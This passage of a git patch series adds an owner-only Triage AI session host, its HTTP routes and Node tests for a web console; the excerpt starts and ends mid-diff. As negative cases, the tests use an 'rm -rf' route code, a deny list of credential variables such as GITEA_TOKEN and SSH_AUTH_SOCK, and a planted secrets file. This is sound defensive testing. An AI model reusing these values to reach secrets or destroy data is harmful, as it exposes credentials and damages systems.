reason: "the Triage host answers only a message to the person" }); + assert.equal((await raw(socket, JSON.stringify({ cap: CAP.toUpperCase(), verb: "role.claim" }))).error, RELAY_REFUSED); + assert.equal(sent.length, 1, "no refused call reached the transcript"); + assert.equal(lstatSync(socket).mode & 0o777, 0o600); +}); + +test("the prompt names the snapshot inside the session and the card form, after the role's contract", () => { + const text = hostPrompt("# Triage\n\nContract.\n", { snapshotPath: "/r/work/health/snapshot.json", steps: ["bus-start"] }); + assert.match(text, /^# Triage\n\nContract\.\n\n## This host/); + assert.match(text, /\/r\/work\/health\/snapshot\.json/); + assert.match(text, /```cards\n\[\{"step": "bus-start", "org": "alpha"\}\]\n```/); +}); + +function host(t, root, opts = {}) { + const dataRoot = join(root, "data"); + const h = createTriageHost({ dataRoot, readSnapshot: async () => SNAPSHOT, env: CONSOLE_ENV, readOnly: [FIXTURE], pollInterval: 100, ...opts }); + t.after(() => h.stop()); + return { h, dataRoot }; +} + +test("no model route: nothing launches, the message is refused, and the state says the route is not set", async (t) => { + const { h, dataRoot } = host(t, scratch()); + assert.equal((await h.state()).route, "not set"); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route" && /no model route is set/.test(e.message)); + assert.equal(h.running, false); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + assert.deepEqual((await h.state()).transcript, []); +}); + +test("over the cap: the message is refused until the next day and nothing launches", async (t) => { + const route = { admit: async () => ({ ok: false, code: "triage-over-cap", until: "2026-11-17T00:00:00.000Z" }) }; + const { h, dataRoot } = host(t, scratch(), { route }); + assert.equal((await h.state()).route, "set"); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z"); + assert.equal(h.running, false); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + const odd = { admit: async () => ({ ok: false, code: "rm -rf", until: 5 }) }; + const other = host(t, scratch(), { route: odd }).h; + await assert.rejects(other.message("hello"), (e) => e.code === "triage-route-refused" && e.until === undefined); +}); + +test("a route whose answer carries a config, bus or founder variable is refused before anything starts", async (t) => { + for (const name of ["MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "GITEA_TOKEN", "SSH_AUTH_SOCK", "lower"]) { + const root = scratch(); + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, "exit 0\n"); + const route = { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: { [name]: "x" }, harnessMounts: [], turnEnd: "exit", model: "m", provider: "p", env: {} }) }; + const { h, dataRoot } = host(t, root, { route }); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-route-invalid", name); + assert.equal(h.running, false); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + } +}); + +test("a Triage directory that is a link is refused", async (t) => { + const root = scratch(); + const dataRoot = join(root, "data"); + mkdirSync(join(root, "elsewhere"), { recursive: true }); + mkdirSync(dataRoot); + symlinkSync(join(root, "elsewhere"), join(dataRoot, "triage")); + const route = { admit: async () => ({ ok: true }) }; + const { h } = host(t, root, { route }); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-dir-unsafe"); + assert.deepEqual(readdirSync(join(root, "elsewhere")), []); +}); + +async function waitFor(fn, ms = 30000) { + const end = Date.now() + ms; + while (Date.now() < end) { + const v = await fn(); + if (v) return v; + await new Promise((r) => setTimeout(r, 50)); + } + throw new Error("timed out"); +} + +test("end to end under the sandbox: the first message starts the session, which sees only its two directories and answers into the transcript", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const dataRoot = join(root, "data"); + // What the session must not see: an org root, a config, a secrets file, the host's transcript. + mkdirSync(join(dataRoot, "orgs", "alpha"), { recursive: true }); + writeFileSync(join(dataRoot, "orgs", "alpha", "org.json"), "{}"); + mkdirSync(join(root, "config")); + writeFileSync(join(root, "config", "config.json"), "{}"); + mkdirSync(join(root, "secrets")); + writeFileSync(join(root, "secrets", "token"), "secret"); + // A link left where the host makes its work directory must not steer the bind. + mkdirSync(join(dataRoot, "triage", "agent"), { recursive: true, mode: 0o700 }); + symlinkSync(join(dataRoot, "orgs"), join(dataRoot, "triage", "agent", "work")); + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 }); + const probe = [ + join(dataRoot, "orgs", "alpha", "org.json"), join(root, "config", "config.json"), join(root, "secrets", "token"), + join(dataRoot, "triage", "host", "transcript.jsonl"), join(dataRoot, "triage", "host"), + join(dataRoot, "triage", "health", "snapshot.json"), join(dataRoot, "triage", "agent", "work", "health", "snapshot.json"), + ]; + let admits = 0; + const route = { admit: async () => { admits += 1; return { ok: true, adapter, harness: "fake", harnessEnv: { TRIAGE_PROBE: JSON.stringify(probe) }, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", OTHER: "x" } }; } }; + const { h } = host(t, root, { route }); + assert.equal(h.running, false, "nothing starts before the owner's first message"); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + + const replies = async (n) => waitFor(async () => { + const list = (await h.state()).transcript.filter((e) => e.from === "triage"); + return list.length >= n ? list : null; + }); + + await h.message("PROBE"); + assert.equal(h.running, true); + const probed = JSON.parse((await replies(1))[0].text.replace(/\n\n.*$/s, "")); + const allowed = new Set([ + "PATH", "LANG", "TZ", "HOME", "TMPDIR", "ANTHROPIC_BASE_URL", "TRIAGE_PROBE", "PWD", "SHLVL", "_", "OLDPWD", + "MOSAIC_REQUEST", "MOSAIC_SYSTEM_PROMPT_FILE", "MOSAIC_WORKSPACE", "MOSAIC_SESSION_DIR", "MOSAIC_POLICY_FILE", "MOSAIC_TOOLS_FILE", + "MOSAIC_TOOL_SOCKET", "MOSAIC_TURN_MARKER", "MOSAIC_PROVIDER", "MOSAIC_MODEL", "MOSAIC_MODEL_ACTIVITY_DIR", "MOSAIC_UNSLOP_LOG", + ]); + for (const name of probed.env) assert.ok(allowed.has(name), `the session's environment holds ${name}`); + for (const name of ["MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "GITEA_TOKEN", "SSH_AUTH_SOCK", "ANTHROPIC_API_KEY", "OTHER", "MOSAIC_DATA_ROOT"]) assert.ok(!probed.env.includes(name), name); + assert.deepEqual(probed.seen, Object.fromEntries(probe.map((p) => [p, p.endsWith(join("work", "health", "snapshot.json"))]))); + assert.equal(probed.snapshot, 1); + assert.equal(probed.writeHealth, "EROFS"); + assert.equal(probed.writeBundle, "EROFS"); + assert.equal(probed.writeWork, "written"); + assert.deepEqual(readdirSync(join(dataRoot, "orgs")), ["alpha"], "the planted link's target is untouched"); + assert.equal(lstatSync(join(dataRoot, "triage", "agent", "work")).isDirectory(), true); + assert.deepEqual(readdirSync(join(dataRoot, "triage", "health")), ["snapshot.json"]); + + await h.message("CARDS"); + const cards = (await replies(2))[1]; + assert.deepEqual(cards.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }]); + assert.equal(cards.dropped, 1); + assert.match(cards.text, /^The alpha bus is stopped\./); + + await h.message("TOOL chief"); + assert.match((await replies(3))[2].text, new RegExp(RELAY_REFUSED)); + await h.message("TOOL human"); + const last = await replies(5); + const texts = last.slice(3).map((e) => e.text); + assert.ok(texts.includes("from the tool"), "the session's own send to the person reaches the transcript"); + assert.ok(texts.some((x) => /"ok":true/.test(x)), "and the tool call was answered"); + assert.equal(admits, 4, "each message is admitted by the route"); + + const tr = join(dataRoot, "triage", "host", "transcript.jsonl"); + assert.equal(lstatSync(tr).mode & 0o777, 0o600); + for (const d of ["", "health", "agent", "host"]) assert.equal(lstatSync(join(dataRoot, "triage", d)).mode & 0o777, 0o700, d); + const owner = readFileSync(tr, "utf8").trim().split("\n").map((l) => JSON.parse(l)).filter((e) => e.from === "owner").map((e) => e.text); + assert.deepEqual(owner, ["PROBE", "CARDS", "TOOL chief", "TOOL human"]); + const tools = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "tools.json"), "utf8")); + assert.deepEqual(tools.map((x) => x.name), ["send_message"]); + const policy = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "policy.json"), "utf8")); + assert.deepEqual([policy.tools, policy.typed, policy.network, policy.needs, policy.credentials], [["read", "grep", "find", "ls"], ["send_message"], "none", [], []]); + + await h.stop(); + assert.equal(h.running, false); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false); +}); -- 2.54.0 From 7ee606cda26edec7cdb84baa16ed87a64f2c4151 Mon Sep 17 00:00:00 2001 From: Jason Woltje Date: Mon, 16 Nov 2026 12:10:10 -0600 Subject: [PATCH 3/7] feat(webui): triage routes, GET /api/triage and POST /api/triage/message for the instance owner only; everyone else gets the unknown-route answer, the write needs --send and the same-origin checks, production wires no route so the read says not set (#1873, lane triage-host) --- packages/webui/src/cli.mjs | 26 ++- packages/webui/src/serve.mjs | 10 +- packages/webui/src/triage-host.mjs | 3 + packages/webui/src/triage-http.mjs | 102 +++++++++++ packages/webui/tests/triage-http.test.mjs | 214 ++++++++++++++++++++++ 5 files changed, 350 insertions(+), 5 deletions(-) create mode 100644 packages/webui/src/triage-http.mjs create mode 100644 packages/webui/tests/triage-http.test.mjs diff --git a/packages/webui/src/cli.mjs b/packages/webui/src/cli.mjs index 5a18b98e8..2c59adf98 100644 --- a/packages/webui/src/cli.mjs +++ b/packages/webui/src/cli.mjs @@ -34,6 +34,8 @@ import { isAbsolute, join } from 'node:path'; import { actionTrail } from './action-trail.mjs'; import { reviveBuses } from './bus-revive.mjs'; import { createProxyAdmin, orgCatalogue } from './proxy-admin.mjs'; +import { createTriageHost } from './triage-host.mjs'; +import { composeSnapshot, readSystemConfig, readOrgConfig } from './triage-snapshot.mjs'; import { busesStopped } from '../../cli/src/proxy-admin-host.mjs'; import { agentLevelsWriteRoutes } from './agent-levels-write.mjs'; import { RESTART_EXIT } from '../../cli/src/org-console.mjs'; @@ -227,11 +229,29 @@ try { return out; }, }) : null; + // #1873 triage-host: the instance owner's Triage session, hosted by the Console in no organization. + // Nothing starts here; the owner's first message starts it. No model route store exists without a + // schema change, so none is wired: the read says no route is set and nothing launches. + const triage = system && (devOwner || ssoOn) ? createTriageHost({ + dataRoot: system.dataRoot, route: null, log: line => console.log(line), + readSnapshot: () => composeSnapshot({ + orgs: () => listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance }), + busStatus: id => orgBusStatus({ configDir: configDir(), dataRoot: system.dataRoot, instance }, id), + processing: async id => { + const org = (await listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance })).find(o => o.id === id); + if (!org) return null; + return busCaller({ dataRoot: org.root, socket: orgPaths(org.root).socket, business: id, timeoutMs: 5000 })('processing.status'); + }, + orgConfig: id => readOrgConfig(id), + proxy: () => proxyAdmin.status(), + systemConfig: () => readSystemConfig(), + }), + }) : null; let server, testerServer = null; // F3: the restart route closes every listener and connection, then exits RESTART_EXIT for the // supervisor to relaunch. Without --supervised the route answers not-supervised. const restart = supervised ? () => { - sso?.close(); testerServer?.close(); + sso?.close(); testerServer?.close(); triage?.stop(); setTimeout(() => process.exit(RESTART_EXIT), 2000).unref(); server.close(() => process.exit(RESTART_EXIT)); server.closeAllConnections(); @@ -240,7 +260,7 @@ try { // #1873 A2: Settings > Agents writes for the root and project levels, beside the levels read. const agentLevelRoutes = organizations ? [agentLevelsWriteRoutes({ configDir: configDir(), rolesDir: rolesDir(), trail })] : []; try { - server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null }); + server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, triage, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null }); } catch (err) { sso?.close(); throw err; } if (testerSocket) { const call = busCaller({ dataRoot: system.dataRoot, socket: socketPath(system.dataRoot), business: options.business ?? null, cli: TESTER_CLI }); @@ -277,7 +297,7 @@ try { // D2 (P0-3): the dev Console reattaches to the buses that still run and brings back the ones its // unit stop killed. It runs after the Console answers, so a slow bus never delays the page. if (organizations && trail) reviveBuses({ ctx: { configDir: configDir(), dataRoot: system.dataRoot, instance }, listOrgs, busStatus: orgBusStatus, busRevive: orgBusRevive, trail, log: line => console.log(line) }).catch(() => console.log('bus revive: stopped on an unexpected error')); - for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); }); + for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); triage?.stop(); }); } catch (err) { console.error(`refused: ${err.message}`); process.exitCode = 2; diff --git a/packages/webui/src/serve.mjs b/packages/webui/src/serve.mjs index 993632a64..611e34c8f 100644 --- a/packages/webui/src/serve.mjs +++ b/packages/webui/src/serve.mjs @@ -1,6 +1,7 @@ import { AUTONOMY_ROUTE, autonomyHTTP } from './autonomy-http.mjs'; import { proxyHTTP } from './proxy-http.mjs'; import { proxyAdminHTTP } from './proxy-admin.mjs'; +import { triageHTTP, TRIAGE_PATHS } from './triage-http.mjs'; import { createServer } from 'node:http'; import { bindTesterSocket, TESTER_ORIGIN } from './tester-socket.mjs'; import { readFileSync, openSync, fstatSync, closeSync, constants } from 'node:fs'; @@ -811,7 +812,7 @@ async function libraryStatusRead(res, read, search) { // `log` takes one line per send attempt that got past sign-in; never the body. `fieldsFile` is for // tests; the field table is otherwise the committed packages/tasks/fields.json. // `agentWrite` (row 194, D7) is `(verb, args) => Promise` for the Agents section's verbs and instance.request. -export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) { +export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, triage = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) { // org-lan-bind: the dev owner on the LAN is an explicit opt-in. `devAllowHosts` names the Host // names (without a port) a remote browser may use; only the dev owner takes them, and only with // them may it bind a non-loopback IPv4 address. SSO, preview and tester listeners stay loopback. @@ -1048,6 +1049,11 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF if (path.startsWith('/api/proxy/')) return proxyHTTP(req, res, { path, call: proxyCall, named, tester, granted, send, origin: sso ? (localOrigin ?? sso.publicOrigin) : `https://${preview.host}`, user: signer?.user, log }); } + // #1873 triage-host: the Triage session's two routes answer only the instance owner's own session on + // the public name, with no organization selected. Anyone else falls through to the answer an + // unknown route gives them, so the routes are not visible to a caller who cannot use them. + if (TRIAGE_PATHS.includes(path) && triage && !tester && !granted && named && sso !== null && orgId === null && !hook && currentSession?.rootOwner === true) + return triageHTTP(req, res, { path, triage, send: owner.send !== null, origin: localOrigin ?? sso.publicOrigin, log }); // Row 252: Approve and Deny. The tester listener never offers them. Anywhere else without a signed-in // session on the public name under --sso and --send, they are read-only. @@ -1240,7 +1246,7 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF // `send`: the page shows the composer only where a send can pass (the public name, --send on). // `edit`: the editor shows Save only where a save can pass, the same test as the route's. // `user` and `federation` (FED R6) only when there is one, so the owner's config is unchanged. - if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named }); + if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), ...(triage && !tester && !granted && named && sso !== null && orgId === null && currentSession?.rootOwner === true ? { triage: true, triageSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named }); if (path === '/healthz') return json(res, 200, { ok: true, ...(sso ? { sso: sso.health() } : {}) }); if (path === '/favicon.ico') { res.writeHead(204); return res.end(); } const file = files.get(path); diff --git a/packages/webui/src/triage-host.mjs b/packages/webui/src/triage-host.mjs index d3bf00d5b..c36956371 100644 --- a/packages/webui/src/triage-host.mjs +++ b/packages/webui/src/triage-host.mjs @@ -182,6 +182,7 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async const role = JSON.parse(readFileSync(join(roleDir, "triage.json"), "utf8")); const contract = readFileSync(join(roleDir, role.contract), "utf8"); let last = null; // the last snapshot written + let lastAt = null; // when it was written, in ms let child = null; let relay = null; let starting = null; @@ -225,6 +226,7 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async if (snap && typeof snap === "object") { writeSnapshot(paths.health, snap); last = snap; + lastAt = now().getTime(); } return last; }; @@ -333,6 +335,7 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async }; }, refresh, + snapshotAt: () => lastAt, // The owner's message: checked, admitted by the route, written to the transcript, queued, and // the session started when it isn't running. async message(raw) { diff --git a/packages/webui/src/triage-http.mjs b/packages/webui/src/triage-http.mjs new file mode 100644 index 000000000..19ebc67eb --- /dev/null +++ b/packages/webui/src/triage-http.mjs @@ -0,0 +1,102 @@ +// #1873 triage-host: the two owner routes of the Triage session. serve.mjs sends a request here only +// for the instance owner's own session (rootOwner, signed in on the public name, no organization +// selected); everyone else falls through to the answer an unknown route gives. The read carries the +// transcript, the last health snapshot and the cards; the write carries one owner message and also +// needs --send and the same-origin checks the org admin routes use. No body, path, token or +// exception text reaches a response or a log line. + +export const TRIAGE_PATHS = Object.freeze(["/api/triage", "/api/triage/message"]); +export const BODY_MAX = 16384; +// A read refreshes the snapshot when the one it holds is older than this. +export const SNAPSHOT_MAX_AGE_MS = 30000; +export const NO_ROUTE_MESSAGE = "No model route is set for Triage, so Triage will not start. The instance owner sets the route first."; + +const STATUS = Object.freeze({ + "invalid-request": 400, + "triage-message-empty": 400, + "triage-message-too-long": 400, + "triage-no-route": 409, + "triage-route-refused": 409, + "triage-route-invalid": 409, + "triage-over-cap": 429, + "triage-busy": 429, +}); +// Fixed words for each code; the host's own messages are fixed too, but the route never forwards text. +const MESSAGES = Object.freeze({ + "invalid-request": "the request is not a Triage message", + "triage-message-empty": "the message is empty", + "triage-message-too-long": "the message is too long", + "triage-no-route": NO_ROUTE_MESSAGE, + "triage-route-refused": "the model route refused to start Triage", + "triage-route-invalid": "the model route's answer is not usable", + "triage-route-unreadable": "the model route could not be read", + "triage-over-cap": "Triage is over its daily token cap and starts again after the time shown", + "triage-busy": "Triage has too many messages waiting", + "triage-dir-unsafe": "a Triage directory is not safe to use", + "triage-start-failed": "the Triage session did not start", + "outcome-unknown": "Triage did not answer", +}); + +const json = (res, status, value) => { + res.writeHead(status, { "content-type": "application/json", "cache-control": "no-store" }); + res.end(JSON.stringify(value)); +}; +const one = (req, name) => (req.headersDistinct[name]?.length === 1 ? req.headersDistinct[name][0] : null); + +async function readBody(req) { + if ((req.headers["content-type"] ?? "").split(";")[0].trim().toLowerCase() !== "application/json") throw Error(); + const chunks = []; + let size = 0; + for await (const chunk of req) { + size += chunk.length; + if (size > BODY_MAX) throw Error(); + chunks.push(chunk); + } + const value = JSON.parse(Buffer.concat(chunks)); + if (!value || typeof value !== "object" || Array.isArray(value)) throw Error(); + if (Object.keys(value).some((k) => k !== "text") || typeof value.text !== "string") throw Error(); + return value.text; +} + +// The read's answer. `send` tells the drawer whether it may offer the message box. +export async function triageView(triage, { send, now = Date.now } = {}) { + const held = triage.snapshotAt?.() ?? null; + if (held === null || now() - held > SNAPSHOT_MAX_AGE_MS) await triage.refresh(); + const s = await triage.state(); + return { + route: s.route, + ...(s.route === "set" ? {} : { routeMessage: NO_ROUTE_MESSAGE }), + running: s.running, + lastExit: s.lastExit, + snapshot: s.snapshot, + transcript: s.transcript, + send: send === true, + }; +} + +export async function triageHTTP(req, res, { path, triage, send, origin, log = () => {} }) { + const done = (status, value) => { + // Method, path and status only. + log(`${new Date().toISOString()} ${req.method} ${path} ${status}`); + return json(res, status, value); + }; + // `code` is always a key of MESSAGES. + const refuse = (code, extra = {}) => done(STATUS[code] ?? 503, { error: code, message: MESSAGES[code], ...extra }); + if (path === "/api/triage") { + if (req.method !== "GET") return done(405, { error: "method not allowed" }); + try { return done(200, await triageView(triage, { send })); } + catch { return refuse("outcome-unknown"); } + } + if (req.method !== "POST") return done(405, { error: "method not allowed" }); + if (!send) return done(403, { error: "read-only" }); + if (one(req, "origin") !== origin) return done(403, { error: "cross-origin request refused" }); + if (one(req, "sec-fetch-site") !== "same-origin") return done(403, { error: "cross-site request refused" }); + let text; + try { text = await readBody(req); } catch { return refuse("invalid-request"); } + try { + return done(202, await triage.message(text)); + } catch (error) { + const code = typeof error?.code === "string" && Object.hasOwn(MESSAGES, error.code) ? error.code : "outcome-unknown"; + return refuse(code, code === "triage-over-cap" && typeof error.until === "string" ? { until: error.until } : {}); + } +} diff --git a/packages/webui/tests/triage-http.test.mjs b/packages/webui/tests/triage-http.test.mjs new file mode 100644 index 000000000..54b66ba37 --- /dev/null +++ b/packages/webui/tests/triage-http.test.mjs @@ -0,0 +1,214 @@ +// #1873 triage-host: the Triage routes over the real HTTP boundary. Only the instance owner's own +// session reaches them; every other caller gets exactly what an unknown route gives that caller. +// The write also needs --send and the same-origin checks. No body, path or exception text leaves. +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { request } from 'node:http'; +import { mkdtempSync, existsSync, readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { startServer } from '../src/serve.mjs'; +import { createDevOwner } from '../src/dev-owner.mjs'; +import { consoleAccess } from '../src/access.mjs'; +import { createSsoSession } from './helpers/sso-session.mjs'; +import { NO_ROUTE_MESSAGE, triageView, triageHTTP, SNAPSHOT_MAX_AGE_MS } from '../src/triage-http.mjs'; +import { createTriageHost, TriageError } from '../src/triage-host.mjs'; + +const LEAK = '/home/owner/.config/mosaic-dev/secret-token-0123456789'; + +function fakeTriage({ message } = {}) { + const calls = []; + return { + calls, + snapshotAt: () => null, + refresh: async () => { calls.push(['refresh']); return null; }, + state: async () => ({ route: 'set', running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }] }), + message: async text => { calls.push(['message', text]); return message ? message(text) : { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' }; }, + }; +} + +const send = (port, path, { method = 'GET', headers = {}, body } = {}) => new Promise((resolve, reject) => { + const req = request({ host: '127.0.0.1', port, path, method, headers }, res => { + let text = ''; res.on('data', c => { text += c; }); res.on('end', () => resolve({ status: res.statusCode, text, json: (() => { try { return JSON.parse(text); } catch { return null; } })() })); + }); + req.on('error', reject); req.end(body === undefined ? undefined : typeof body === 'string' ? body : JSON.stringify(body)); +}); + +async function devServer(t, options = {}) { + const logs = []; + const s = await startServer({ port: 0, board: 'http://127.0.0.1:9', sso: createDevOwner(), send: async () => ({}), log: line => logs.push(line), ...options }); + t.after(() => new Promise(r => s.close(r))); + const port = s.address().port; + const headers = { host: `127.0.0.1:${port}`, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' }; + return { port, logs, headers }; +} + +// The same request on an unknown path next to the Triage one: status and body must match. +async function sameAsUnknown(port, path, method, headers, body, label) { + const unknown = path.replace('/api/triage', '/api/triagz'); + const [a, b] = [await send(port, path, { method, headers, body }), await send(port, unknown, { method, headers, body })]; + assert.equal(a.status, b.status, `${label} ${method} ${path}: status`); + assert.equal(a.text, b.text, `${label} ${method} ${path}: body`); +} +const EVERY = [['/api/triage', 'GET'], ['/api/triage', 'POST'], ['/api/triage/message', 'GET'], ['/api/triage/message', 'POST']]; + +test('the dev local owner reads the drawer state and sends a message; the config names the drawer', async t => { + const triage = fakeTriage(); + const f = await devServer(t, { triage }); + const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); + assert.equal(read.status, 200); + assert.deepEqual(read.json, { route: 'set', running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }], send: true }); + const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'why is alpha down?' } }); + assert.equal(sent.status, 202); + assert.deepEqual(sent.json, { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' }); + assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), [['message', 'why is alpha down?']]); + const config = await send(f.port, '/api/config', { headers: { host: f.headers.host } }); + assert.equal(config.json.triage, true); + assert.equal(config.json.triageSend, true); + assert.equal(f.logs.join('\n').includes('why is alpha down'), false, 'no message text in a log line'); + for (const line of f.logs.filter(l => l.includes('/api/triage'))) assert.match(line, /^\S+ (GET|POST) \/api\/triage(\/message)? \d{3}$/); + // A wrong method on either route. + assert.equal((await send(f.port, '/api/triage', { method: 'POST', headers: f.headers, body: {} })).status, 405); + assert.equal((await send(f.port, '/api/triage/message', { headers: { host: f.headers.host } })).status, 405); +}); + +test('the write is refused without --send, from a foreign Origin, and without same-origin Fetch Metadata', async t => { + const triage = fakeTriage(); + const readOnly = await devServer(t, { triage, send: null }); + const r = await send(readOnly.port, '/api/triage/message', { method: 'POST', headers: readOnly.headers, body: { text: 'hi' } }); + assert.equal(r.status, 403); assert.deepEqual(r.json, { error: 'read-only' }); + assert.equal((await send(readOnly.port, '/api/triage', { headers: { host: readOnly.headers.host } })).json.send, false); + assert.equal((await send(readOnly.port, '/api/config', { headers: { host: readOnly.headers.host } })).json.triageSend, false); + const f = await devServer(t, { 